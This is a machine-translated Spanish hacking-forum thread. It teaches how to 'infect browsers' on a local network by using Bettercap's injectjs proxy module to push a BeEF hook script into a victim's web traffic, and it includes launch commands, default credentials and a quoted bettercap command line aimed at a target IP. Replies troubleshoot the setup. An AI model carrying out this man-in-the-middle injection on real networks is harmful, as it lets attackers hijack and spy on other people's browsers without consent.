🌐 This is an automatic translation of a topic from Underc0de, the largest Spanish-speaking hacking and IT community. Read the original (Spanish) and reply →
Lonewolf ·
Hi everyone, in this post we are going to learn how to infect browsers with javascript code :)<br />First a bit of theory.<br /><br />What is BeEF?<br />Basically BeEF is a framework designed for the exploitation of browsers through javascript code, this framework has a huge amount of post-exploitation options that we are going to see in depth in the following posts.<br /><br /><br />What is Bettercap?<br />Bettercap is a complete and modular framework for MITM (man in the middle) attacks that emerged with the goal of providing us a more complete and stable tool than ettercap. <br /><br />Now let's move on to the fun part ;)<br />
<br /><br />First we are going to open a terminal and we are going to run beef with the following command:<br />Código: text
beef-xss
<br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />After launching this command a browser window should automatically open like this:<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />In case the browser does not open we open it ourselves and enter the following address: Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />The default username and password are: <br /><br />user: beef <br />pass: beef<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Ok, for now we would leave beef like this, let's move on to Bettercap:<br /><br />We open another terminal in which we will launch bettercap indicating our target, the module we are going to use and the path of the malicious javascript provided by beef with the following command:<br />Código: text
<br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Then we should see the following:<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />now we are going to see how bettercap injects the javascript code we indicated into our victim's requests 8) <br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Very well, as we can see our victim accessed the page m.taringa.net from their android, ( in this case the victim machine is a smartphone but the attack is equally effective on any type of device or OS ) and the tool automatically injected the javascript code.<br />Well now let's see what happens on the side of our beloved beef:<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Perfect!!! let's look at the information of the victim browser.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Very well, this post ends here, stay tuned for new entries as we will learn to obtain a meterpreter session through this great tool.<br /><br /><br /><br />
dynyly ·
:) :)<br />waiting for more ;D ;D ;D<br />thanks
ceroMee ·
very interesting man, what I don't see in the image is the malicious javascript that you say it injects!! I'm going to try it anyway, thank you very much for your contribution!
Lonewolf ·
Cita de: ceroMee en Octubre 12, 2016, 09:46:32 PM<br />very interesting man, what I don't see in the image is the malicious javascript that you say it injects!! I'm going to try it anyway, thank you very much for your contribution!<br />
<br />Thanks for the comment ceroMee!!! , look at the lower part of the image where it says [INJECTJS] that would be part of the process, I couldn't include the whole process since it would be too many images haha
Maaiion ·
Sounds interesting, but I didn't understand the part about injecting into the victim, is it attacked through a mac address or how?<br />good contribution :DD
CitarWhat is BeEF?<br />Basically BeEF is a framework designed for the exploitation of browsers through javascript code, this framework has a huge amount of post-exploitation options that we are going to see in depth in the following posts.<br /><br />
ceroMee ·
Man a question, did you follow any specific tutorial to install bettercap and beef?
<br />Hi ceromee yes, on the internet there are several, first you have to install ruby on rails = sudo apt-get install build-essential ruby-dev libpcap-dev<br /><br />second to install bettercap you just have to run the command = gem install bettercap, obviously after having ruby<br /><br />and lastly to install beef I recommend following the installation guide on their github page Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />
Slenderhack ·
Greetings guys, can anyone help me? <br />it doesn't work for me, I run bettercap, I do a search on my device and it doesn't get hooked, what could it be?
Akrapal ·
Cita de: Slenderhack en Mayo 26, 2017, 08:11:18 PM<br />Greetings guys, can anyone help me? <br />it doesn't work for me, I run bettercap, I do a search on my device and it doesn't get hooked, what could it be?<br />
<br /><br />the same happens to me.. it says it injects but nothing, I tried with injecthtml but the same<br /><br />edit: I installed chrome on the virtual machine and it caught
dantoor_mx ·
Hello again, I think for some of us it would be important to know the structure of the commands or part of it, since even though we use other frameworks or tools through the terminal we can get confused when starting to use this great Framework, or it's just an opinion in this case when trying to understand the last part of the following:<br /><br />
Citarbettercap -T 192.168.0.101 --proxy-module injectjs --js-url "Los enlaces son solo para miembros. Registrate o iniciá sesión"
<br /><br />I would imagine that here you specify the Target
Citar-T 192.168.0.101
<br /><br />Here you specify the module to use
Citar--proxy-module injectjs
<br /><br />Here I would think you pass options of the specific module
Citar--js-url
<br /><br /><br />And lastly the attacker's IP (Your IP) where the JavaScript is hosted
<br /><br /><br /><br />Please if I'm wrong tell me so I can understand this framework a little more, I haven't started using it yet but this tutorial looked very good to me and I think we could use it to combine it with other vectors.